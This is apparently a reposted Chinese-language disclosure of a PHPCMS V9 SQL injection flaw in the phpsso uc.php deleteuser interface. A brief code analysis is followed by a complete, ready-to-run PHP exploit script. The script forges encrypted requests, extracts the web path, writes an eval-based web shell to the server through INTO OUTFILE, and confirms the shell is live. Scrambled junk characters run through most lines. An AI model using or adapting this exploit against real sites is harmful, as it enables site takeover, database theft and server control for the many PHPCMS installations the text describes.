PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。4 H" f- X& D7 o3 o
( B' g& u, T! e* C" c所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。4 J4 ?) f% p8 l6 P# i
4 V+ [4 U- {& O/ p; H" b \6 `漏洞分析:) a7 k' a, k# b( y7 E6 P Q
1.未启用ucenter服务的情况下uc_key为空, x& ]6 \7 `4 C. X% ~( y' K
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
- E: |$ b( M. D1 f1 H2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
- z4 ^$ V/ `3 v7 Q% d1 S. w4 E public function deleteuser($get,$post) {
$ r3 r1 ]0 [1 D# n; U9 W2 V& } pc_base::load_app_func('global', 'admin');
0 P6 p: `+ n: q( v; t; z Q pc_base::load_app_class('messagequeue', 'admin' , 0);
9 d3 D. ~* ^. a. @% ?* r+ t4 W $ids = new_stripslashes($get['ids']);
" _" W1 @2 E9 {" B $s = $this->member_db->select("ucuserid in ($ids)", "uid");
8 H6 k; v, i) A j2 b/ U7 a( VSQL语句为$ k5 }/ l* ]9 v( j3 t
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)" J& G4 ?/ ^1 F" b7 o' i, A4 ^
9 y/ k. f; y& M' f利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell. B0 B/ U1 a8 j
<?php5 ^5 u1 P7 l" k
print_r('5 n) Q5 A1 v+ a+ G; [* G
---------------------------------------------------------------------------
3 S. d* K4 r3 APHPcms (v9 or Old Version) uc api sql injection 0day
' y! k, q( M+ d& w7 L, Nby rayh4c#80sec.com
+ ?/ |# d7 S$ ~) c---------------------------------------------------------------------------8 P2 q+ f% o" D
');8 s+ W! ]9 y' ?3 J
6 e( \/ ~% A3 x: U' Q) L
if ($argc<3) {
* x# B; v4 m) b$ s! R. d3 E8 } print_r('
. j) _1 V* Y- X/ }---------------------------------------------------------------------------
$ g/ |5 T% i' t$ A" F2 o9 [' n9 UUsage: php '.$argv[0].' host path OPTIONS
% y6 y0 d+ L$ `/ f2 a" c" f8 T; ~8 U$ Nhost: target server (ip/hostname)
; ^! }8 p, ]% J4 Lpath: path to phpcms& {% L- f9 Q9 c% f
Options:
# W) }% Z% | V, s& n -p[port]: specify a port other than 805 D# x0 L+ l @) |2 [6 j& n3 b
-P[ip:port]: specify a proxy7 j1 U. ]6 {$ n7 `- ?
Example:9 g. z3 B- C. N* v
php '.$argv[0].' localhost /! l% J6 d8 k/ N/ I. |" ?
php '.$argv[0].' localhost /phpcms/ -p81
2 o/ S! G T! R! `+ ^php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:805 K# }) h* p& Y" I2 `% t9 z3 v
---------------------------------------------------------------------------
# r/ M7 H; \) j');
6 K( a2 w7 q7 B, S die;, h4 g' K8 A; s/ v
}
2 M; U& i, D' B; k9 a. F- X* o4 c4 I7 ?. v
error_reporting(7);% w! T* @3 C& A, m0 ?
ini_set("max_execution_time",0);* N+ H" c9 r! q( U4 o" y
ini_set("default_socket_timeout",5);
( g$ V* y7 G" C) S3 w& @4 [
* ]) r( f7 L0 _) k Z2 V1 U1 rfunction quick_dump($string)
9 k" g! W( o. A& {6 g- M{
0 i& d/ _# b }1 | $result='';$exa='';$cont=0;
% `0 F7 r! S R# P: ] for ($i=0; $i<=strlen($string)-1; $i++)
/ a u* j0 B3 S# a7 L* @ {
2 g( L {: V! s. P8 g9 A if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))9 [1 ?9 ~& H& W' C" p
{$result.=" .";}! M6 s, {6 m6 u/ _. O6 q
else
, E6 _$ G# I& B {$result.=" ".$string[$i];}
+ y) f& U$ O. l% f( x' y if (strlen(dechex(ord($string[$i])))==2)
) F$ U8 J _: z( ^3 H/ y3 G/ I. H {$exa.=" ".dechex(ord($string[$i]));}
0 g+ {2 p: T# I% S& p& P0 { else
, {7 K% ]* E' J7 B) x$ g$ H/ Y8 l* a {$exa.=" 0".dechex(ord($string[$i]));}2 p& R* `: u& L2 ?% p
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}' d& t/ [$ R& V4 ^
}. r& ?2 m% A" h) a: S9 b
return $exa."\r\n".$result;* j N- u" Z0 e) l' {3 F |4 T
}
% G2 g- A0 X$ |' Z# p4 v1 m$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';/ {, m- [% G1 m3 Z! A+ R
% i j: B' I4 P# t1 M2 }4 V
function send($packet)
2 W$ d8 ~; S! t{/ a2 n. C( Z& @/ q: b" D
global $proxy, $host, $port, $html, $proxy_regex;1 P" k" A! B0 A! P0 b3 j4 b" v5 Q
if ($proxy=='') {6 f+ n. q# |+ e
$ock=fsockopen(gethostbyname($host),$port);
# c5 @- ^* [9 C5 j if (!$ock) {
, E, b7 n: R: e, n e5 Q* l echo 'No response from '.$host.':'.$port; die;
2 E: @0 r* Q! O/ K8 J }3 ]6 L( V7 G, T5 c5 ~
}# g6 |( n- m# `5 t) Y& M7 I
else { M' |& u, E& @$ ]8 p
$c = preg_match($proxy_regex,$proxy);: \* Z1 s# R5 q8 U
if (!$c) {
9 z9 f6 S8 P& | _ echo 'Not a valid proxy...';die;
- a9 _! \, T6 `: X* u' ] }! R" @- z( J% K L0 e
$parts=explode(':',$proxy);% ~4 j: J) b% E+ E# {9 o6 l
$parts[1]=(int)$parts[1];! n/ S6 `; D6 ^
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";: k3 {: X9 ]7 g1 h6 j( J
$ock=fsockopen($parts[0],$parts[1]);
) C- `3 o9 r3 E5 y: Y: M! g* d if (!$ock) {! v* U! c2 B) p1 g
echo 'No response from proxy...';die;
+ q$ x, ^2 U! a }
& z, \% D- T# y! B; G7 F }
; ?- ?6 W6 N- ^, B# n, I fputs($ock,$packet);
( O# p5 G) c. H. [/ b if ($proxy=='') {
% P- z! @7 d: {- p- N+ B' y3 U& O $html='';: d9 @' K* W$ m5 b6 U3 ^7 v. L$ u
while (!feof($ock)) {
8 u5 I7 n' {) ~/ u $html.=fgets($ock);1 h3 p0 E" Q* O' W) ^3 g
}
6 v2 \1 z! M" C9 z4 q }
" E, G6 g3 M- P! D2 ^1 W* N- N else {& k3 T2 n- F6 i4 l9 X3 w
$html='';/ ~+ P, V5 ?0 S6 A9 _% U# B
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$ l5 \+ u' S# q w! ?3 q $html.=fread($ock,1);
( d1 ]/ w. I, k9 g; {" W9 F }7 l) o' p" v) r; Y+ z+ a7 h
}
' i- Z, |$ R& o4 p fclose($ock);* W- l! [; f' l
}
% V' L4 s5 _6 ~# A1 Y/ O. B3 l7 h( a: d: O/ }) A
$host=$argv[1];) E5 U- m/ @; ]/ }
$path=$argv[2];7 o/ l9 a( E! I' O
$port=80;/ i, ~5 h0 n3 g& r
$proxy="";: W0 k6 b- p2 k5 o' `9 O
for ($i=3; $i<$argc; $i++){
+ [6 o! Y% z- [" L5 B: ^4 ]/ ~7 M7 t3 Y$temp=$argv[$i][0].$argv[$i][1];, I6 u* K7 Z5 s6 d1 I6 u1 {
if ($temp=="-p")
5 o0 {' L9 X) p7 L( l2 t{
3 f/ M/ _- H' G1 _3 F) D4 { $port=(int)str_replace("-p","",$argv[$i]);6 f( C; a$ |6 j& `. a# i" a" E
}7 p) J) c; ]2 ~4 W
if ($temp=="-P")/ A# u' q5 G* }* K' I
{8 Z2 Z+ g' y2 _( a3 O$ y: c
$proxy=str_replace("-P","",$argv[$i]);
. j. @1 E+ F& e1 `: \; V; t}
2 P# k" ~3 ?- X7 {. X0 G$ C}
( Q% c6 s$ [2 `
8 P# F9 T& p5 ^' \* G( S9 X0 |$ Lif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}. {% ^/ g1 S; b
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
D) D9 Y k( i: ^; h* U6 n$ n+ [+ [: k7 I' U
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
) Y* N" Y# Y; q) Z' x$ m. n% x4 }4 M& ]% s9 h; h% |
$ckey_length = 4;
+ G" H; p0 p" b: r9 w, y
- K" D: }, h- H: O $key = md5($key ? $key : '');% _, d0 y2 e v, I2 s5 \
$keya = md5(substr($key, 0, 16));
+ u' V* t/ M/ v; [, ?4 y H+ b0 f $keyb = md5(substr($key, 16, 16));+ x: l7 m0 W0 e, |) \ J
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
8 w0 j, O3 T+ [ b- Q; k% J/ M! v! U3 u
$cryptkey = $keya.md5($keya.$keyc);
" b c( `: k6 z- N1 q+ X2 q7 P/ { $key_length = strlen($cryptkey);
, }, Y) B8 d9 @0 ^3 t
3 D* A% ^) Q5 c) Q+ F $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
7 G1 H" f& c) V( h $string_length = strlen($string);
4 ~! O% ]* `! i( r% X" x" Z7 `* W" R0 v( |$ i1 c, W: s$ }" V
$result = '';9 X; n7 |) z' a
$box = range(0, 255);7 G- [+ l' ]! |; E
( A1 i) x5 i9 `6 `$ G- y2 j1 K
$rndkey = array();
' n% R% D# p% k* O for($i = 0; $i <= 255; $i++) {
& Z, k5 Q( K+ E; D/ } $rndkey[$i] = ord($cryptkey[$i % $key_length]);. H: K$ K; t. r: N* H2 L2 \
}
2 ?; ^9 o: c4 P9 O& |4 Y% @' ^/ `
% b' }# z( C T, z) [ }; | for($j = $i = 0; $i < 256; $i++) {! l' N& P$ K- C
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
! U% L0 i9 c( S9 A% A7 K $tmp = $box[$i];
2 @& ]1 C: x. q" `/ G0 W $box[$i] = $box[$j];4 R0 L% h/ Q5 y0 V& a
$box[$j] = $tmp;
4 y: q: h2 M1 n4 a/ F9 T3 I }5 F4 i; r- V9 {" v+ y6 f) K
$ }& k9 L# d! O6 n) o, x8 `) ]
for($a = $j = $i = 0; $i < $string_length; $i++) { K* K+ W6 j9 O, X; P: q3 T
$a = ($a + 1) % 256;+ x+ |2 G" L! }/ s, A. d
$j = ($j + $box[$a]) % 256;
! o1 d0 \! L( q) S8 J# E $tmp = $box[$a];
" [+ U) x+ b# u+ t8 b* E" B7 Q $box[$a] = $box[$j];& y. [. v N6 x# ^% x: p4 b' }5 D6 R2 h
$box[$j] = $tmp;) Z- d, B- l5 K+ i3 i7 H* R
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));8 x$ X. p" o2 S" K8 d' |
}/ O; `1 g, a R; Z! m! B
* a, h2 w9 Z! g- v" t+ H0 S9 ? if($operation == 'DECODE') {- E1 n6 @. i9 X, c8 h O+ j/ Y3 h: Q' Y
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) A$ @* X7 P& P, B, X6 B3 v+ O return substr($result, 26);3 G' z1 {1 z5 n C9 o, d
} else {
8 j! v) x5 a* C6 H R8 w! t return '';
w4 ~% g7 P' r% O; l8 G: A6 _ }; E D' t( g8 U' R M9 ]" c
} else {! l9 D0 W& ^4 a* ^" q
return $keyc.str_replace('=', '', base64_encode($result));
3 i1 @6 d) [3 u: L }4 {% B( e) G1 S v. A$ E c
' B6 m# e. I: ^( I}/ i7 r, C/ {; f6 e
7 K# j% }6 u: y- \- `$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
* O4 \: ~1 O! C9 B5 U$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 m7 W0 c8 ^, ~4 m/ |5 J2 L
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# X$ g( i( b" `# Y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";' `8 @. r& o8 H0 h: y# a$ o
$packet.="User-Agent: Mozilla/5.0\r\n";
5 Y4 l! J4 Q- `# U7 T6 |3 R- T2 _$packet.="Host: ".$host."\r\n";) L8 m% F) U$ B9 V
$packet.="Connection: Close\r\n\r\n";+ P! q- p8 X6 Z2 \7 J Q2 H) S
send($packet);
( k2 a3 A8 @4 P' U gif(strpos($html,"MySQL Errno") > 0){
( F7 Q( B8 d2 ?* Z S) ~+ ~) |& Cecho "[2] 发现存在SQL注入漏洞"."\n";
* R6 a/ Z( i/ c/ f; @echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";; u/ u: A5 @# N2 v4 R% \
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";/ Q4 i8 N6 G* |: u ?6 I
$packet.="User-Agent: Mozilla/5.0\r\n";
$ z' x5 g3 A, U- [+ z+ p$packet.="Host: ".$host."\r\n";6 p% X! ?) s6 c n' t7 \8 m
$packet.="Connection: Close\r\n\r\n";' Y& H2 t4 E! P, x
send($packet);% E$ o4 z4 n* |" g, U
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);. N( \. @- |" Q& [" d9 c
//print_r($matches);4 f* e2 w2 l7 L$ F+ C' H. a
if(!empty($matches)){! c9 ~6 O7 w7 R8 v
echo "[4] 得到web路径 " . $matches[0]."\n";
1 w1 W) P: R8 O# [# Kecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
% U6 E1 m& O# c5 m$SQL = "time=999999999999999999999999&ids=1)";
) t4 j5 a( X1 _" W8 S; t$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
" @3 W- c6 R: y, j# @3 ]( T$SQL.="&action=deleteuser";
. E, Z. l, h9 h5 d( W: F$SQL = urlencode(authcode($SQL, "ENCODE", ""));5 w* `! d2 ~5 ^
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: ?5 @- k4 i7 A C0 [* w6 M
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
( l$ r4 z/ ~: G+ q$packet.="User-Agent: Mozilla/5.0\r\n";
" _/ x$ t0 R9 m' d2 m$packet.="Host: ".$host."\r\n";& p+ U" K; n2 b0 `0 h& v
$packet.="Connection: Close\r\n\r\n";
5 z9 J9 N6 y7 _- {1 ?7 G$ R- Esend($packet);! C7 K9 r7 m/ s+ \
if(strpos($html,"Access denied") > 0){$ d* H& h" H% j5 h
echo "[-] MYSQL权限过低 禁止写入文件 ";
* s0 ?' n5 \1 ]5 I6 ^- p; @die;
5 `9 S' A, T! M; l5 `& Q2 U) z) b: c}
( o5 U. s' Q! z- Y+ @ Aecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
' A# P- }: I) _9 y P& r$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
' c0 V/ Q- i, j& F: x, z$packet.="User-Agent: Mozilla/5.0\r\n";1 @8 ~+ @" l9 l5 o, ^: T8 {% A: U7 U
$packet.="Host: ".$host."\r\n";
/ P) _" c# P+ a$packet.="Connection: Close\r\n\r\n";7 `# ]/ q- E3 S6 I% M+ ?
send($packet);9 N! J7 g' V. ]( E( u# s$ Q# d
if(strpos($html,"<title>phpinfo()</title>") > 0){* C) _# C1 }/ E
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
, M" ~+ B+ A- E' y) \& O$ z$ ~8 H, O}+ s& H* o6 A/ ~0 p
}else{% ?8 S# h. p( u Z7 X
echo "[-]未取到web路径 ";: [) a4 |+ _) l3 ~
}
! c; E- t. C" {8 U+ g6 V9 c}else{1 {, C- f7 t2 r& n# H
echo "[*]不存在SQL注入漏洞"."\n";
6 f* v/ K8 k1 E9 y9 s}5 I* Q" a& V3 [$ j
6 a9 }' p: _0 {" r5 W?>
0 R; z4 U! V) }1 c- F1 ]# a |